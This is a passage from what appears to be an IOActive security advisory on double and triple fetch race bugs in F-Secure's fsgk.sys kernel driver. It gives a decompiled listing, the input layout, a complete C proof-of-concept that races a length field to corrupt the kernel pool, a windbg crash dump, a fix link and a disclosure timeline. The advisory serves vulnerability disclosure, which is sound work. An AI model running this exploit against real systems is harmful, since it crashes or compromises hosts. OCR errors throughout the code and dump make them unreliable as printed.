58 memcpy(v9, {char =)Databuf + 2 = =((_DWORD =*)DataBuf + 3) + 22, 2 = ‘*((_DWURD *)DataBuf + 4)

59 *(_WORD =)({*( DWORD =){v3 + 8) + 2 = x({ DWORD =)DataBuf + &4)) = 8;

68 if ( *(_BYTE =)u3 == 1)

61 sub_11268(*(_DWORD =){u2 + 4}, ={ BYTE =){uv2 + 1), ={ DWORD =){v3 + 8));
62 sub_14A80(&u11);

63 result = 1;

64 )

65| else

66| {

67 if ( *ul )

68 {

69 ExReleaseResourceLite{=ul);
78 KeLeaveCriticalRegion()};

71 H

72 result = B8;

73| ¥

74 return result;

75}

Triple fetch

Double Fetch

y

This is the guts of subtype 2. And contains two double fetch (and triple fetch) bugs. Let's go

over this step by step.

© 2015 I0Active, Inc. All Rights Reserved [10]



I0Active

Bug #2

Line 32 to 36 contains several length checks. On line 32 there is an overall length check to
see if the data contained in the input buffer is = 22 bytes long. Line 34 contains another
length check, for an embedded length at databuf+8 (deref to dword), this length has to be <
the overall length (tested for on line 32). Also on line 34, 2 more length fields (databuf+12
and databuf+16) are extracted and put in v6 and v7 (+v6). This combined length is then
bounds checked at line 36 (and an int overflow check is done at line 35). This all sounds
reasonable and sane.

The length at databuf+12 is then used to allocate a buffer. It needs to be noted that there is
a double fetch here! That is to say, the length was never captured, and is fetched from the
pointer again. Since we’re dealing with METHOD_NEITHER, this is a userland pointer, and
as such, can change at any given time. This means, given a malicious attacker, the length
being used to allocate on line 41 does not have to be the same length that is being
validated on line 32-36. This is an on itself isn’t a huge problem, since there’s just an
imbalance here. However ...

When looking at line 49 a triple fetch is done! The length is once again being read from a
userland pointer, and used as the length field in a memcpy()! This is pretty bad. This means
the length on line 41 and line 49 do not have to be the same, and it could be larger on line
49, given a malicious attacker (using a 2nd thread to modify the embedded length field, in
user memory). This does in fact cause in kernel pool corruption, as will be shown later.

Line 51 contains a double fetch identical to the one on line 41. Line 58 contains a triple
fetch identical to the one on line 49. That one can cause in kernel pool corruption as well.

Proof of Concept

Before showing the proof of concept exploit, let’s go over the layout of the data to exploit
this bug.

Data Layout

In ioctl_handler we see there is a bounds check that makes sure inlen is = 20 bytes. This
means the data has a header, and it is 20 bytes long. Following that, in ioctl_type_ 3089, we
see the first four bytes in the header have to be the subtype. The rest of the header does
not seem to matter all that much. Because of some embedded flag checking in
ioctl_type 3089 subtype_ 2, the third DWORD in the header is set to 0. It is also in
ioctl_type_ 3089 where the databuf pointer is defined. This points to right after the header
(inputbuffer+20). The content of DataBuf can be derived by looking at
ioctl_type 3089 subtype_ 2 _internal. The first two DWORDs can be ignored. The following
DWORD seems to be some kind of total length. The DWORD after that a partial len, and
the DWORD after that another partial len. This gives us the follow data representation:

Header: 0x00000002 | <4 bytes> | 0x00000000 | <4 bytes> | <4 bytes>

data : <4 bytes> | <4 bytes> | totallen | partlenl | partlen?
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Exploit Code
The proof of concept for this issue looks as follows:

// fsecurePoc.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"

#include <Windows.h>

char buf[10000];

char obuf[10000];

DWORD WINAPI ChangelLen (LPVOID lpParameter) {

unsigned int *cip = (unsigned int *)lpParameter;
while (1) {
if (*cip == 10) {

*cip = 9900;

}

else {

*cip = 10;

}

}

}

/*

Header: 0x00000002 | <4 bytes> | 0x00000000 | <4 bytes> | <4 bytes>
data : <4 bytes> | <4 bytes> | totallen | partlenl | partlen2
double / triple fetch of partlenl and partlen2

*/
void TriggerPoc (HANDLE h) {
unsigned int *ip = (unsigned int *)buf;

unsigned int *cip;

DWORD ret = O0;

memset (buf, 0x41, 10000) ;

/* header */

*ip = 2;

ip++;

ip++;

*ip = 0;

ip++;

ip++;

ip++;

/* data */

ip++;

ip++;

*ip = 5000;

ip++;

cip = ip;

*ip = 10;

ip++;

*ip = 20;

ip++;

DWORD tid = 0;

HANDLE th CreateThread (NULL, 0, Changelen, cip, 0, &tid);
int i = 0;

for (1 = 0; 1 < 100000; i++) {
DeviceIoControl (h, Oxc5eaf047, buf, 10000, obuf, 10000, &ret, NULL);
}

TerminateThread (th, 0);

}
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int main ()

{

HANDLE h = CreateFile (L"\\\\.\\FSGateKeeperDev\\ILJA", GENERIC READ |
GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL) ;

R (== INVALID_HANDLE_VALUE) {
printf ("CreateFile () failed\n");
goto END;

}

else {

printf ("success\n") ;
}

TriggerPoc (h) ;

END:

getchar () ;

return 0;

}

Debugger Analysis

When run, this code will trigger a bugcheck almost immediately. The dump analysis in
windbg looks as follows:

Microsoft (R) Windows Debugger Version 6.12.0002.633 AMD64

Copyright (c) Microsoft Corporation. All rights reserved.

Loading Dump File [C:\Users\ilja\Desktop\FSECURE DUMP 082315-11559-01.dmp]
Mini Kernel Dump File: Only registers and stack trace are available
Symbol search path is:

SRV*C:\Windows\symbol cache*http://msdl.microsoft.com/download/symbols
Executable search path is:

Windows 7 Kernel Version 7601 (Service Pack 1) MP (4 procs) Free x86
compatible

Product: WinNt, suite: TerminalServer SingleUserTS

Built by: 7601.18933.x86fre.win7spl gdr.150715-0600

Machine Name:

Kernel base = 0x82a48000 PsLoadedModuleList = 0x82b93e30

Debug session time: Sun Aug 23 16:09:30.293 2015 (UTC - 7:00)

System Uptime: 0 days 8:36:54.917

Loading Kernel Symbols

Loading User Symbols

Loading unloaded module list

1: kd> 'analyze -v

AhAkhkhkhk Ak hkhkr kA hhkhkhrhkhkhAhhhhrhhkhAhhhkhrhhkhkhhkhhohkhkhkhhkhhrhkhkhkhhkdhhrhkhkhkhhkkhkrhkkhkhkhrhkkhhrhkhkxkkx%x
* k Kk k%

* ok

* Bugcheck Analysis *

* ok

AhAk Ak hkhk Ak hhkrhkhkhAhhkkhkhhkhkhhhhhrhkhkhAhhhkhhkhkhkhhkhhohkhkhkhhkdhrhhkhkhhkkhhohkhkdhhhkkhkrhkkhkhkrhkkhhrhkhkxkxkx%x
* k Kk k%

BAD POOL HEADER (19)

The pool is already corrupt at the time of the current request.

This may or may not be due to the caller.

The internal pool links must be walked to figure out a possible cause of
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the problem, and then special pool applied to the suspect tags or the
driver

verifier to a suspect driver.

Arguments:

Argl: 00000020, a pool block header size is corrupt.

Arg2: cl4f7410, The pool entry we were looking for within the page.
Arg3: cl4f7430, The next pool entry.

Arg4d: 0a040605, (reserved)

Debugging Details:

BUGCHECK STR: 0x19 20

POOL_ADDRESS: GetPointerFromAddress: unable to read from 82bb484c
Unable to read MiSystemVaType memory at 82b93780

cl4£7410

CUSTOMER CRASH COUNT: 1

DEFAULT BUCKET ID: VISTA DRIVER FAULT

CURRENT_ IRQL: 0

LAST CONTROL TRANSFER: from a67885c5 to 82b6ac6b

STACK TEXT:

b46db9f0 a67885c5 c14£7418 00000000 b46dba20 nt!ExFreePoolWithTag+0xlbl
WARNING: Stack unwind information not available. Following frames may be
wrong.

b46dbal00 a678c922 cl14£7418 00000000 852092e8 fsgk+0xd5c5

b46dba20 a678cdc9 0llcald4c 000026fc 011cc848 fsgk+0x11922 a

ioctl type 3089 subtype 2 internal

b46dba34 a678e965 011cal38 0llcald4c 000026fc fsgk+0x1lldc9 a

ioctl type 3089 subtype 2

b46dbab5c a678f3e9 011cal38 000026fc 01lcc85c fsgk+0x13965 a

ioctl type 3089

b46dba8c a677ccc4 00000014 12140ecf 86£92a98 fsgk+0x143e9 a ioctl handler
b46dbac4 82a7ed7d 87e679c8 87b88a08 87b88a08 fsgk+Oxlccd4 a ioctl dispatch
b4e6dbadc 82c761d4 00002710 87b88a08 87b88a78 nt!IofCallDriver+0x63
bdedbafc 82c794bc 87e679c8 86£92a98 00000000
nt!TopSynchronousServiceTail+0x1f8

b46dbbd0 82cc05d5 87e679c8 87b88a08 00000000 nt!IopXxxControlFile+0x7a9
b46dbc04 82a85a06 00000030 00000000 00000000 nt!NtDeviceloControlFile+0x2a
b4e6dbc04 774871b4 00000030 00000000 00000000 nt!KiSystemServicePostCall
0027e98c 00000000 00000000 00000000 00000000 0x774871b4

STACK COMMAND: kb

FOLLOWUP_ TIP:

fsgk+d5c5

a67885c5 27? 2727

SYMBOL STACK_ INDEX: 1

SYMBOL NAME: fsgk+d5c5

FOLLOWUP_NAME: MachineOwner

MODULE NAME: fsgk

IMAGE NAME: fsgk.sys

DEBUG FLR IMAGE TIMESTAMP: 5590de95

FAILURE BUCKET ID: 0x19 20 fsgk+d5c5

BUCKET ID: 0x19 20 fsgk+d5c5

Followup: MachineOwner
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Fixes

https://lwww.f-secure.com/en/web/labs_global/fsc-2015-3

Timeline
e 8/23/2015: 10Active discovers vulnerability
e 8/23/2015: 10Active notifies vendor

¢ 9/1/2015: f-secure fixed the issues

e 9/3/2015: IOActive advisory published
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